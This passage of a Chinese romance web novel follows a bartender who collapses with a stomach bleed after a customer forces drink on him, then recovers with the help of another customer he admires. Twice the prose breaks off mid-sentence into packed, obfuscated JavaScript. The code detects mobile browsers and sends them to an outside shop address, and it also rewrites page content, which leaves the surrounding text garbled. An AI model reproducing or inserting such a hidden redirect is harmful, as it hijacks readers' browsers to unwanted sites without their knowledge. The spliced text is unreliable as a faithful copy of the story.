《没头脑,特高兴》 7. 红糖姜撞奶 自那天之后,季玉开始学做冰淇淋。 酒吧进的冰淇淋球低廉,口味单一,他没有吃过别的冰淇淋,但总算看过,再不济还有网络搜索,光是图片对比,就知道店里的与像样的差距有多大。 齐妙还会不会来,什么时候来,他都不知晓,也不了解她的具体口味,思前想后决定买最好的原材料和工具,按照配方自制。 除了她两次来点过的柠檬和玫瑰味,还要做一些热门款,每天现做,九种口味分格装盒,再套上冰袋,带去酒吧,宿舍留部分以防万一。 对了,天气凉,室外就不适合再吃冰的了。如果遇上生理期不舒服,可能会想喝红糖姜茶一类的吧……以前妈妈每次肚子痛,喝这个都很管用。不过,齐妙好像不太喜欢喝茶,要不还是换成牛奶吧…… 季玉提着新买的保温桶回宿舍时,小优斜躺着生无可恋,连多看他一眼都嫌累:“……哥,你是打算转行做厨师吗?” 他揉揉肚皮,指向桌面上昨日遗留的冰淇淋:“我没意见啊,手艺不错,就是能不能别再天天做这玩意儿了……” 小优算个贫民吃货,早就听闻现下流行的什么吉拉头意大利冰淇淋,他没闲钱,也不敢走近这种带英文名儿的高档店。其实小布丁三色杯老冰棒啥的就都挺好。 话虽如此,但他也能吃出细糠,季玉牌手工冰淇淋浓醇香甜,尝一口就能立即品出“贵”和诚意。是他这辈子吃过最好的冰淇淋。 小优清楚,平日里季玉比他更节俭,只要维持活着的生命体征就成,绝对不可能为了口腹之欲斥巨资,总不至于那天齐小姐喂他吃冰淇淋,这玩意儿就成定情信物了吧?所以答案只有一个——这些都是专门为齐小姐做的。 事实证明,他的猜想没错。齐小姐一日没来,冰淇淋就没完成使命,寂寞地等到深夜,然后于次日被他或季玉消灭……一批接一批,他这辈子都不会再想吃冰淇淋。 “不能。”季玉抱歉地笑笑:“不过接下来,我还会做红糖姜撞奶,你要喝吗?” “不不不,三个月内我都不想再看见听见任何带甜味的东西!”小优疯狂甩头,甩着甩着就迟疑了,双眼无神地盯着天花板:“算了,还是给我来一杯吧。” 有总比没有的强,好歹是热的。 真佩服季玉,连续做了两个多礼拜的冰淇淋,不仅拥有铁打的胃,而且看起来完全没被打击。 他恍然大悟,人家这是言传身教,以行动教会他职场本领:“哥,我明白了。要想抓住客人的心,就得先抓住她的胃,要像对待初恋白月光一样虔诚。” 手里动作一滞,嘴角僵硬的笑意愈发苦涩,季玉没头没脑地回答:“是啊,因为是客人嘛。” 周三晚上,气温再度下降。季玉拎着饮品,生怕摔了撒了,走路都局促起来,咔哒咔哒的,仿佛能听见生锈的关节卡壳的声音。 平时他大约花两小时跑步健身,最近缩短了一半,并且摄入的糖分大大增加,疏于对身材的管控,令他开始焦虑难安。 走进店内,他习惯性先看向左侧卡座,然后…… 有人! 她在! 是她,真的是齐妙! 季玉当即绽开笑,刚要上前,突然发现齐妙身旁还有一个男人——阿星。 他们谈笑间举杯,那是两杯冰淇淋苏打,上面是冰淇淋球,点缀小巧的红色樱桃,下面是咕噜冒泡的蓝色汽水,像大海一样漂亮的颜色。他们这家酒吧菜单上没有这样精致的饮品。 对比之下,自己做的冰淇淋根本拿不出手,普通的饭盒,平常的口味,没有任何包装和值得多看两眼的外形。 今晚开空调了吗?好像没有,不然怎么比外面还冷?空调坏了吗?那可不行啊,喝冷饮会很难受的。 季玉想着,咔哒咔哒地四处找遥控器,他冷得发颤,但显示屏上过高的温度以及室内人们单薄的衣物,使他放心下来。 带来的冰淇淋该怎么处理?放进酒吧冰箱免费提供给顾客,说不定齐妙看见了还能尝一尝。要不干脆交给阿星,说祝贺你丫的走狗屎运能和齐小姐一起碰杯。算了,还是自己消化吧,何必破坏气氛讨人嫌呢? 他杵在原地,挪不开步子,像个碍事的电线杆。走狗屎运的那位笑容满面,和茶楼那天一模一样的丑恶嘴脸和挥手动作,跟唤狗似的。他才不要去,他是硬骨头。 可是,可是齐妙扫了他一眼,表情柔和,季玉觉得,她应该不排斥自己过去。 终于,他站在齐妙身侧,低垂脑袋,手指缠紧保温壶,掌心不断向内壁施压以缓解紧张:“您,们,要喝点热的吗?红糖姜撞奶,甜的,没有茶叶……天冷,我在宿舍煮多了……” 他能感觉到齐妙的视线,心里渐渐燃起一点点小火苗,然后听见她说:“你看起来比我们更需要。” 被,拒,绝,了。 微弱的小火苗“啪——”地熄灭了。 “哦,嗯,嗯,对不起……”季玉直不起腰,连连鞠躬道歉,越弯越低,当即落荒而逃。 洗手间内,季玉红着眼,一遍遍冷水泼脸。齐妙说的没错,他的脸色很难看,白得像戏台上的反派。往常唇瓣还能有点儿血色,今天是一并褪了个干净。 他没有情绪化的时间,之前的熟客指名他招待,必须快速整理,出门走向另一边,表现出惊喜与热情:“红姐,您来啦。” 红姐是这一带的有名人物,估摸着三四十岁,医美行业的,利润大,出手也大方,常年流转于各个酒吧,隔段时间就换个新鲜。 “小玉啊,你看你,还总是您来您去的,多生疏,都把我给喊老了!” 季玉对年长些的客人统一用“您”称呼,在他的用语规则里,唯独齐妙例外。 齐妙给他一种距离感,他直觉两人之间天差地别,因此更不敢随便尝试跨过那条边界。 “抱歉红姐,我记性不好,惹你不高兴了。”他知道红姐的意思,倒杯龙舌兰,仰头,一饮而尽。 “这点可不够有诚意啊。”孙红霞翘起腿,食指一下一下敲击桌面,长而尖的指甲刺啦刺啦划过:“这样吧,你一杯我一杯,放开了喝,咱们喝到尽兴为止。” 客人能提出这类要求是好事,意味着他能喝多少就能赚多少。 他没有道理拒绝,但赚钱远没有那么简单。精明的商人懂得谋利,孙红霞摇晃酒杯,意味深长:“干喝没什么意思。” “摇骰子,输家罚酒,还要罚脱一件衣服。”她靠近季玉耳边,涂满鲜红指甲油的手指搭上他的肩:“怎么样,小玉感兴趣吗?” 季玉倾身拿起菜单,不动声色地离开原位:“红姐,你穿的少,这不合适。” “哎呀,既然小玉这么绅士,那就只好请你一个人脱啦。”孙红霞从包里找出口红,精细地给嘴唇厚厚补上一层:“不如我们换个地方玩?没有别人打扰的小空间。” 季玉很平静,他不是第一次遇见这样的客人:“我的工作只限这间酒吧,为客人提供酒饮而已。” 不识抬举,区区一个男人,给钱都不愿意,装什么洁身自好?孙红霞不得不承认,季玉这张脸和身段,加上宁死不从的样儿,勾得她日思夜想,欲罢不能。诱惑那套没用,拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16816773|190924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱也不行,那就只有强来了。 她们那会儿,老人家常念叨强扭的瓜不甜,孙红霞偏不信这个邪,甜不甜的她不管,她只要攥在手里。 孙红霞没再多说,一味地灌他酒。她早年谈生意,练出豪饮的肚量和偷工减料的技巧,越喝越清醒。反观季玉,来酒吧工作不到一年,干净、单纯,青涩得惹人怜爱。 温水慢炖不是她的行事风格,今夜她全点后劲大的烈酒,一杯接一杯,没有兑饮料,没有缓和的食物。不过三杯,季玉眼神迷离,整张脸漫上红雾,脖颈乃至锁骨都被酒气染遍。 后来,他机械性地端杯喝酒。晃头,揉眼睛,掐眉心,身形摇晃,几乎要坐不住。 “再来一杯。”她说。 再来一点,再一点,他就彻底醉了。 “嘭——”地倒地声,淹没在舞池音乐里,接着短促的尖叫声迸发,叮咛哐啷的杂物碰撞,人群如浪花快速涌上前又退后。 议论纷纷,有人定在不远处,有人急步离开酒吧,有人找来工作人员,音乐关停,顿时一片死寂。 季玉仰躺在地,眼神失焦,如瀑的长发潮湿散乱,黏在脸侧,他不停呕血,断续发出呛咳的艰涩吸气声,血液溅上发丝,渗进颈圈红绳,胸膛起伏得厉害,手脚都有些抽搐。 酒吧工作人员大多年轻,没遇过突发情况,手足无措地挠头,来回踱步,不敢上前。齐妙拨开人群冲过去,半跪在他身边,当即托住他的后脖颈,让他翻身侧卧,扯大衣领:“呛到了是不是?没事了没事了,再也不会了……” 一边轻拍顺气,一边快速扫过周围人:“小优,打急救电话,120。” “其他人离远散开一点,让出通道。” 小优六神无主,贴着裤边蹭干手心渗出的汗水,差点拿不稳手机:“好好好,对,打120,手机,手机……” 酒后脸色苍白,冒冷汗,持续呕出暗红色的血液……齐妙猜想应该是胃出血的症状。她低下头探听,指下的皮肤发凉打颤,脉搏和呼吸都很微弱。 她脱掉外套,给失温的人披上保暖,小心擦拭他唇边的血,柔声呼喊:“季玉,能听见吗?” 季玉从倒地的那刻就陷入昏迷,软绵绵地任人摆布,她不抱希望,没想到话音刚落,他的眼皮就开始剧烈地颤动,挣扎着半睁开眼,含水的眸子里满是迷茫和无助。 “别怕,没事的,医生很快就来。”齐妙突然感到一阵说不清的酸涩,眼前这个男人看向自己的眼神向来明亮,而现在,多了份全然信任和依赖,无法不令她动容。 她知道不应该,却还是伸手摸了摸他的头发:“你很厉害,很坚强,调整呼吸,不要紧张。” 见他唇瓣费力嚅动,“哇”地一下又吐出大口鲜血,齐妙赶忙阻止:“不说话,安心躺着,保存体力。” “是不是胃痛?‘是’就食指点一下,‘不是’点两下。”齐妙握拳,放到他手下,示意他在自己的手背上作出回答。 出乎意料地,季玉轻轻点了两下。“是否头晕胸闷”“冷不冷”等肉眼可见的问题上,他还是否认。 他撑着沉重的眼皮,一点点拉长衬衫袖口,即使效果不佳,半遮半掩地勉强覆盖手背。 齐妙以为他嫌冷,结果又猜错——他伸手,动作缓慢吃力,小心翼翼,垫在齐妙的膝盖下。 隔着薄薄的衬衫,冰凉的体温与柔软的肤感交织,仿佛干涸平原上的小火星,风轻轻一吹,就迅速燎原,将人刺得生疼,却滚烫炽热。 惨白的唇瓣艰难开阖,血丝源源从嘴角溢出,季玉看着她说:“……疼。” 8. 一条真正的红绳 哇哇吐血的人硬是没喊痛,却担心半跪施救的人膝盖疼,这是什么道理?齐妙想不明白。 季玉失血过多,刚上救护车就休克了。齐妙没有跟车陪同,她不了解病人的身体状况,作为舍友的小优,至少是比她更好的人选。 临走前,小优向她投来求助的目光,她理解并承诺随后就到。季玉的情况比较复杂,小优眼神闪躲,没有通知他父母的意思,只问医生朋友能不能代为签字。 手术很成功,后续需要住院进一步观察和治疗。医生看他俩年纪小,交代完注意事项后,有意缓和气氛:“貌美如花的小伙子把身体糟蹋的呦,还不如隔壁栋的老人家们!胃痛持续很久了吧,光忍着怎么行?也不来医院检查看看。” “他现在的情况,得多休养一段时间,不过你们也没太担心,毕竟还年轻,恢复快。” 正如医生所说,年轻恢复快。手术后预计数小时至一天,才会逐渐清醒,结果不到两小时,季玉醒来,一声不吭,拔掉针头,鞋也不穿,撒丫子就往外跑。 他根本没有力气,全凭意志力死撑。短短几步路,脱力栽倒又爬起来,继续摔继续爬……摔得眼冒金星晕晕乎乎,人家就是不肯老实待着,也不知道哪来的牛劲,冲破阻拦,挣脱其他人的搀扶。 小护士愁啊,这家伙身体差到给他一针镇定剂都怕把人打坏,所以到底为什么他们仨居然搞不定一个虚弱的病人?!全凭医学奇迹吗?!还没开始治呢啊喂! 齐妙过来时,画面刚刚定格在——季玉的长发凌乱炸毛,宽大的病号服更乱,背抵墙面蜷缩蹲着,两只手死死拽住走廊的扶手,青紫的筋络突突暴起,针眼处还在汨汨流血。 护士,小优还有同病房的病人家属一人一条胳膊,还有一个嵌住肩膀,看起来全都用上了吃奶的力气,呲牙咧嘴,面目狰狞,脚卡门缝。 这场抗争激烈,但寂静,双方都屏住呼吸使劲,没有谈话劝服的余力,又或是早就尝试过失败。 如果此情此景不是发生在医院,而是其他任何一个地方,齐妙都有可能错以为是行为艺术。将整体视为艺术装置,的确有种耐人寻味的动态美,还有回味并上升价值的空间。 齐妙的生活一贯波澜不惊,在认识季玉之前。 她走近蹲下,伸手撩开遮挡面容的乱发:“我们回病房。” 暖和的指腹温度烫得季玉一缩,他抬眸确认,桃花眼睁得溜圆,顿时浑身卸力,又变回软塌塌的棉花团。与他僵持的三人一下没收住,节节后退,扯着他拖行了一段。 倔劲消失得无影无踪,病痛瞬时占据上风,季玉像只刚流浪回家破破烂烂的风筝,歪歪倒倒还漏穿堂风,拖行途中剧烈呛咳起来,一声比一声急,又呕出几口血来。 齐妙想,任何人看到这种场面多多少少都会不忍心,而她也是人。她欲言又止,几次想让他们轻一点,但也清楚他们不知道拉扯了多久,唯恐季玉挣脱,一门心思就只有把他先弄回床上再说。 重新扎针输液,连接仪器,季玉还是不安分地蠢蠢欲动。小护士累得气喘吁吁,这工作牛都不稀罕干! 夜班值得她活脱脱一具行尸走肉,看见这位病美男的时候,她倒吸一口气,立马活了,嗨了,来精神了。然后是漫长的十分钟,对方不惜命的犟种程度,让她抓狂得想飞起一脚,直接踹晕。 幸好犟种也认人,小护士咬牙切齿:“你女朋友可都看着呢,请你配合一点。” 没想到对方脸上突然浮现诡异的红晕,完全没有半点儿刚刚那个大力士样儿,低下头支支吾吾半天,细若蚊吟:“……不,不是,她……” “对不起齐小姐,让你被误会……” 齐妙摇摇头表示不在意。 季玉小声“哦”了一下,移开目光,心凉凉,手也凉凉,针头刺入皮肤,冷不丁激得他一缩,下意识想逃,硬生生忍住。 他想说我不要待在这里,想说讨厌医院,但更不想在齐妙面前无理取闹。他要讲道理,一一列举出没必要留住医院的理由,可话到嘴边不成句子,倒成了委屈的控诉:“红绳,我的,我的绳子,没有了……” 那条红绳是死扣,经年累月的磨合,尺寸越缩越小,连结处几乎融成一体。手术时间紧张,妨碍操作的饰品全都必须取下,沾血的陈旧红绳被剪断,可能意外清理了,总之齐妙没能找到。 她看得出季玉对医院的抵触,但跟病人讲道理是最没有道理的事情。 “是对你很重要的东西吧。”她绝不是多管闲事的人,也没有挺身而出的兴趣:“抱歉,在酒吧的时候,我担心影响你的正常呼吸,所以剪断了,来的路上匆忙,没有妥善保管。” 齐妙第一次发现自己有说谎的天赋,至少季玉完全相信了她的话,反过来讨好般安慰她:“没,没关系,不重要,真的,我就是讨厌医院瞎扯的……你千万别放在心上,不要道歉,应该我谢谢你才对,你救了我的命……” 那个年代,很多父母亲手编织红绳,有的还会串上银锁,木核桃和小葫芦,套在孩子脖上、手腕和脚踝,讨个平安健康长大的好彩头。 红绳算是妈妈默许的,不是送,而是随手丢在一边,被他捡起来的。不是特意编的饰品,而是一根多余的套绳,所以没有开口,也调节不了大小。 小时候套脖颈松松垮垮,傻得可以,长大以后绳子缩啊缩,缩成狗项圈似的袖珍尺寸,系上左看右看还是个笨蛋。一开始,粗糙劣质的材质磨得皮肤泛红发痒,忍耐久了,也就习惯了。 他取下来过,可是明明解脱了,本该畅快呼吸的,却更难受了,连带着空气都变得稀薄。原来他需要被束缚。 “是医生救了你。我只是做了该做的,换成别人也不会袖手旁观。” 齐妙的话很客套。这样就好,像对待路边任何一个人那样对待他,明明是长久以来盼望着的,可胃里却直泛酸水,心脏都被狠狠揉搓,他在奢求不该想的。 他还记得,昏迷时的濒死感,喉头堵塞,看不见也动不了,身体失去控制,好累,好痛苦……然后,一声声安慰轻柔地推开黑暗,那双手托起他的脖颈,让他得以顺畅呼吸。 残留她体温和香气的外套特别温暖,比儿时最喜欢的那条毛毯更令他安心。被妥帖照顾的感觉太珍贵,以至于回想一次就要落泪。 季玉的身体还很虚弱,他不愿意躺下,觉得没礼貌,半倚着又直往下滑,所有心情写在刷白的脸上,整个人看起来像极速衰败的花儿。 齐妙难得犹豫,直觉告诉她现在离开,防止过多牵扯才是理性的选择,但口袋里的东西拆穿她的伪装,是她冲动行事的证物。 她微不可察地轻叹,伸手,摊开,掌心里静静躺着一只红色的绒布袋:“不管重不重要,那都是你的东西。” “所以,赔给你的,希望你喜欢。” 垮塌的肩膀抖了两抖,一瞬间注入活力和精神气,季玉焕发新生,急切地抬眼,大眼睛又亮又水润,像狗狗摇尾巴,还没打开看看,先语无伦次地问道:“……真,真的,真的是给我的吗?” 他的情绪太热烈,轻易将周围感染,齐妙认认真真地回应:“真的是给你的。” 在她的眼神鼓励下,季玉这才小心又珍重地慢慢打开,那是一条真正的红绳项链。简约轻巧,肤感柔软,上面有精细的编织纹路,还可以调节松紧。 他看了又看,眼神牢牢黏在红绳上,久久没有动静。啪嗒——啪嗒——豆大的泪珠淋湿红绳前,季玉赶紧吸吸鼻子,边说着“眼睛里进睫毛了”,边胡乱抹干脸。 红色很衬他。漂亮的肩颈线和锁骨也很适合佩戴饰品。这些是表层原因。 “我好喜欢。”他笑着,眼圈通红,透明泛光的泪痕清晰,柔顺的头发乱糟糟。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16816774|190924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 齐妙闭了闭眼,这招定心神居然没作用。算了算了,她干脆利落地放弃,抬手,快准轻地揉了下他的脑袋,脱口而出莫名其妙的安慰:“戴着红绳,就是有人要的小孩。” 她面上冷清,心里懊悔。给予希望而已,不是什么承诺。 “你……”猝不及防,季玉突然断电,没骨头似的向一旁歪倒。齐妙离得近,眼疾手快地扶住他的肩,让陪护椅上闭眼假寐的小优来帮忙,避开各种针管,把人放平。 呼吸平稳,一切数据正常,只是睡着了。右手还死死攥紧红绳,修剪短平的指甲都掐进掌心里。小优尝试掰开他的手无果,又打算把东西抽出来,结果不仅白费力气,还招得人皱眉头,梦魇惊惧,心跳在狂飙的路上一去不复返。 齐妙拦下小优:“没事,就让他抓着吧。” 没过多久,季玉再次醒来,第一时间看向原先齐妙所在的位置,她不在,病房里哪儿都没有。唯独手心里的红绳证明那不是一场梦。 他随手扯掉针头,指尖轻捏项链两端,无比郑重地给自己系上。然后起身,穿上鞋,找出衣物,走进卫生间。 小优回来时,季玉已经穿戴整齐,甚至正在收拾床铺。小优看得一愣一愣,半天才反应过来不对劲:“我的哥呦!消停点行不?你吐了好多血,救护车上什么血压心跳狂掉,差点都救不回来了还折腾啥呢?!” 他说得唾沫横飞,季玉都没顿一下,若无其事地转身就走:“仪器也会出问题,我现在不就好好的?没必要浪费钱。” 小优想说我信你的邪,你这气色看起来像半截入土了。 还没等他继续劝说,季玉眼都不眨就开始像模像样的胡扯:“我对自己身体有数,以前喝多了上火,也吐过几次血丝。这次是我故意咬破舌头,让血多流点,看起来吓人而已,不然摆脱不了红姐。” ……听起来,还真的有点道理。小优没读过多少书,义务教育都是混过去的,生活常识匮乏得可怜,倒不影响他美滋滋地活。在他的认知里,没有人是不想好好活的,越穷越拼就越想活,再糊涂也不会拿自己的身体当儿戏。 他们老家那的人就不兴上医院,平时吃嘛嘛香活蹦乱跳的,一去城里详细检查,回来就不成了,日渐憔悴,瘦秃噜皮儿,就剩个骨头架子,嘎吱嘎吱地漏精神气儿,最后不过一捧灰,一座土。因此,老家人闻大医院丧胆,口口相传出个包治百病的村里神医,一副药走天下。 小优来首都洗过盘子,当过网管,见识过形形色色的人,大多都挺粗俗,鼻孔瞧人,满嘴屎尿屁谁谁妈的,吐他一脸烟圈。 季玉和他们都不一样,不仅长得特靓,人还聪明又温和,文质彬彬的,好相处,从不搞歧视,爱看书,会抽出空学习,总之哪哪都是榜样。 他说话有信服力,像什么都懂的大学生。而且红姐这人的确,有钱也挺大方,就是非常难搞,上赶着的她不要,干干净净工作的她非要强迫。 以前有个长得不错的酒保被她看上,天天跟踪偷拍骚扰都是轻的,传播不实消息、败坏名声轮番来,听说某次不知有什么神通撬开对方家门锁,光溜溜地躺床上,给人吓个不轻,还闹到警察局。 琢磨一阵,小优基本完全相信了,还屁颠颠地竖起大拇指:“哥,你这招真高!红姐当场就给吓跑了,估计再也不敢来找你喝酒了。” “还有啊,齐小姐平时冷冰冰的,你一出事,她立马撂下阿星,跑过来看你……那动作温柔得要命,把你当玻璃娃娃呢,肯定担心死你了!要我说啊,阿星就是再厉害,也比不过哥懂女人心。” 他俩并肩向外走去,小优还吹着彩虹屁呢,旁边正主不见了,一回头,落后的季玉呆愣不动,表情像见了鬼。 小优循着他的目光,抖抖嚯嚯地瞅,不看不知道,一看吓一跳,背后说人果然要烂嘴巴,齐小姐正冷冰冰地站面前呢。 9. 可爱鬼的小狗车 小优觉得,齐小姐虽然属于没有攻击性的长相,也没生过气,甚至连大声说话都没有过,还是个小姑娘,但就是有种描述不出来的气场。 没有情绪的人,藏得深,看不懂,就让他提心吊胆。 寻常女人可能会大惊失色,担心生气或发脾气,不管哪种都会有一瞬间明显的情绪波动。然而齐小姐果然是齐小姐,语气平淡到仿佛出门散步偶遇不熟还要搭话的邻居:“喝酒喝到胃出血,就是你脱身的方法吗?” 疑问句都能说出陈述句的笃定味道,换个人来肯定不行。 看到季玉惊惧惶然的神色,小优毫不怀疑如果不是自己在场,他会直接滑跪,给齐小姐磕一个拜早年。实际上,自从齐小姐出现,季玉那双大眼睛里啊,似乎就再也容不下任何人。 季玉小脸煞白,冷汗一层层打湿皮肤,下意识要否认,但“不想对齐妙说谎”的念头终究占据上风:“……我,我……对不起……” 他六神无主,努力回想先前小优的话,不知道该从哪开始解释,越慌乱就越颠三倒四,虚弱的身体也不自觉打颤:“刚刚那些话,都不是真的……我没有故意,没有对你耍手段……我不懂女人心,比不了阿星……齐小姐人好,见义勇为,平等对待所有人,绝对不是对我特别照顾……” 齐妙却只说:“不用向我解释。” 然后转身就要离开。 季玉哪见得了这个,一时犹如晴天霹雳。他再愚钝,在短短几年与妈妈相处的过程中,也清楚不吵不闹不生气不废话的就像断了线的风筝,一旦放松警惕脱手,就会彻底消失。 他从来就没有抓住过什么,能与齐小姐保持不远不近的距离就很好了,可是现在,以后……他根本没有犹豫,拔腿就追,眼前一黑就嘭啪嗒地摊饼式扑地。 脸朝下,不省人事。 季玉的发作性睡病比预想中更频繁,齐妙蹙眉,查看完他的情况,让小优搭把手:“送回病房。” 后来,季玉从漫长的噩梦中惊醒时,齐妙早就离开,他试图继续折腾,被小优一句话阻止:“齐小姐临走前说了,改天会找时间来医院探病。” 改天,是哪一天呢?明明只是模糊的承诺,效果却立竿见影,季玉认认真真收起硬邦邦的保护壳,顺从地输液吃药,按时闭眼休息。 出院当天,齐妙赴约,带了一束花,开车将他和小优送回宿舍。车刚到巷口,一路组织语言的季玉急忙开口:“谢谢齐小姐,您辛苦了!要不要去,楼上坐坐?天台空气很清新……” 开头干嚎的那一嗓子,响亮得直击天灵盖,就差原地给她鞠一躬敬个礼大家都是好朋友。车上安静,他没底气更没信心,声音也就渐小渐远。 齐妙听得好笑,突然好奇这灵活转换声线的核嗓唱歌是什么感觉。 “怎么不请我进宿舍坐坐?” “男生宿舍,你不方便,不,不是,我们,不对,邻居看见会说你闲话……” “别人说什么影响不了我。不过,既然你两次都推荐这里的天台,那就上去看看吧,看看空气有多清新,白天的景色有没有夜晚漂亮。” 季玉微愣,脸颊泛红,咂摸出其中的甜味来——两次,夜景漂亮……是不是说明齐小姐还记得上次宿舍里他说的话?!! 意识到这一点,他抬起双手,贴紧脸旁拍拍拍,抿唇扭头,眼神飘向车窗外,一片片色团马赛克飞速掠过,他心里在接二连三地点燃仙女棒,呲啦呲啦窜小火花,殊不知窗上的倒影将他的好心情暴露无遗。 这栋楼是多年前的建筑,如今墙皮褪色,爬上黑斑,拥挤的阳台窗口挂满艳丽的暗沉的床单和衣物。 天台在顶层,灰蒙蒙的楼梯口狭窄,小优识趣地钻回宿舍,季玉走在前面带路,没两阶就回头缩着脑袋哈腰,基本倒退着上楼,恭敬的左手还摆出“请”的姿势。 老小区的标准高度没考虑过他的身长,他也不看自己的路,脚步磕绊,碰撞擦到哪儿了也不吱声,只专注提醒齐妙小心。在季玉后脑壳即将撞上门框前,齐妙果断拉住他的手腕:“走吧。” 趁他发呆的功夫,她快步上前,牵着人安稳踏入天台,旋即轻轻松开手。那力道非常轻柔,像一股温和的流水,前后不过短短十几秒。遗憾和懊悔劈来,季玉恨自己是一个无用的人而不是一块有用的海绵,不能疯狂地汲取这十几秒的慰藉。 他觉得渴,咽了咽口水,快速调整状态,边摆弄着小彩灯的开关,边向齐妙介绍:“这些小彩灯是去年店里跨年活动用的,后来坏了,老板就让我们拿走扔了。我看断的地方能接上,再换个电池就跟新的一样,挂在这里,好多人喜欢呢。” 这会儿的彩灯就像白日焰火,微弱,渺小,甚至显得苍白。季玉对她说话总是小心拘谨的,难得在熟悉的地方,介绍经由他手的小物件,看上去便放松了许多,不磕巴也没吞标点。 阳光下,那双桃花眼很亮,柔顺的脑袋金灿灿的,有一缕长发雀跃着跳出整齐的队伍,在齐妙的眼前晃呀晃。她伸手,踮脚,没有替他整理,而是揉了揉脑袋,夸赞道:“嗯,很漂亮,怪不得大家喜欢。” 季玉立刻屈膝弯腰,后颈露出红绳,以费力的动作维持让齐妙省力的姿势,再抬眸时脸涨得通红:“……踮脚累。” 倏忽,他灵光一闪,环绕四周一圈,连连后退,又开始不看路:“齐小姐稍等,一下下就好!数十五秒,不,十二秒,八秒,就八秒……” 这里的天台是住户公用的部分,种菜的泡沫箱、家中丢弃的杂物都随手堆放,几乎占了大半空间,唯独观赏风景的最佳位置被大家默契地留了下来。 季玉直奔一辆亮橘色的小狗车而去,大概是小孩用的学步车,狗狗造型瘦长,尤其四肢,稳稳地抓扒地面,高高翘起的尾巴是靠背,及推车的把手。 他先是从晾衣架上火速拽下条抹布,解释说:“这是我们宿舍晾的。”半湿不干的擦完,又抽出纸巾擦啊擦,然后拍拍狗头狗腿,确认稳固性。接着一屁股坐下去,高大的身躯缩在小车里,显得奇异又滑稽。 季玉屈起膝盖,撒腿奋力一蹬,车慢慢滑向前,小狗和小狗车一齐在齐妙面前停下。他束手束脚地起身,径直脱下外套铺在座位上,抓紧把手,彻底摆平轻微晃荡的小车:“请坐。” 齐妙第一次乘坐小狗车,感觉很奇妙,视角变矮了许多,但平时没注意到的却更加清晰。天空也变得更高远辽阔,充盈着无穷尽的包容力。还有,季玉的脸近在咫尺,他蹲在车旁,安静又乖巧。 人家都细心到这个地步了,迎着澄澈的小狗目光,再冷酷的女人都会意思一下,齐妙也是。她继续摸了摸对方的头发,手感柔软顺滑,服务还周到,不给个五星好评都容易后悔得睡不着觉:“不累,但谢谢你的照顾。” “你的发质很好,是天生的吗?摸起来很舒服。” 她的语气如抹云,眼尾自然弯翘。 季玉从来就没想过有天有人会仔细夸他的头发,不仅如此,一连串不重样的夸赞像色彩缤纷的糖果,夹心里馅都不同,但颗颗都甜蜜得要命。 他害羞地挠挠头,猛地往下一扎,脑袋都快戳进水泥地里,颈间红绳跟着滑动,地心引力的影响下,长长的黑发自然向前垂下,男鬼形象飘然而生,晕头晕脑:“没,没有啦,是妈妈生的……你,你觉得好,可以多摸一摸!多多多摸一摸!” 噢,还是只可爱鬼。 齐妙一本正经地点点头,手指穿梭在黑发中,毫无章法地揉来揉去,跟呼噜大型犬似的,感觉很治愈。空气中散开柠檬爆汁的沁脾香气,狗狗眼尾弯弯,皱皱鼻子,一副比她更舒适惬意的模样。 揉乱的发丝过电,两人对上眼,同时笑出声来。季玉还是第一次看她这样开怀大笑,竟然看愣了。 齐妙指了指左前方的晾衣架,问:“小毯子是你的吗?”得到肯定答案后,还没等她再发号施令,对方就自动取下递过来。 她伸手拍了拍,洗得泛白的小毯子虽然薄透,但被阳光烘出暖融融的调子,总比没有的强。然后展开,给季玉披上,勉强在脖颈处系结。短小的毛毯 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老小区的公用厨房杂乱,环境差,季玉本不愿让人跟过来受罪,但齐妙三言两语就动摇了他的决定:“起风了,一个人留在天台会很冷。我进你宿舍不方便,而且小优还在。” 他们宿舍简陋到极致,没有个人空间,床对床,一张桌,俩塑料板凳,几只收纳箱。 让齐小姐和小优,孤男寡女,共处一室……绝对绝对绝对不行!宇宙爆炸全世界都死光只剩他们两个也不可以! 厨房不大,但用具齐全,而且收拾得很干净。据小优所说,住院前,季玉每天都来厨房捣鼓,估计这里的清洁有他的一份功劳。 他不知道上哪儿借来一把有软靠背的高脚椅,带滑轮可伸缩,摆放在厨房一角,亮堂堂的,没危险油烟少通风好的位置。 临近正午,冰淇淋和姜撞奶放后,当务之急是做出顿像样的午饭来。季玉解下红绳,郑重其事地揣进特意缝制的外套内兜。 他干活麻利,盘算着时间处理食材,同时料理好几道菜,不亚于专业厨师,就是心猿意马,时不时要回头看看高脚椅上的姑娘,问问她需要些什么。 每次回头,齐妙都会微妙地出现在不同位置,她似乎觉得挺新奇,伸长双腿,像丛林探险,一呲一滑,各处转悠。 又一次转身找人,差点儿撞上齐妙凑近的脸,季玉张大嘴巴,惊得一抖接一抖,手忙脚乱地抱稳手里的碗。齐妙笑着,拯救下那只哆嗦的碗:“好香啊,我能尝尝吗?” “当然,当然,等我拿双干净筷子,还有小碗……刚出锅的,很烫,吹一吹再吃……” 季玉发现,他呆头呆脑,搞砸无措,甚至特别糟糕狼狈的时候,齐妙既没有蹙起眉责怪他,也没有厌恶地一走了之。她只是在那儿,眼神清明平静,偶尔浅笑,带着善意和温柔。 之后一有什么菜出锅,季玉就往她的小碗里添置。简单的家常菜都能做得色香味俱全,即便是齐妙这种没什么口腹之欲的人也眼前一亮:“你经常做饭吗?厨艺真好,每道菜都很好吃。” 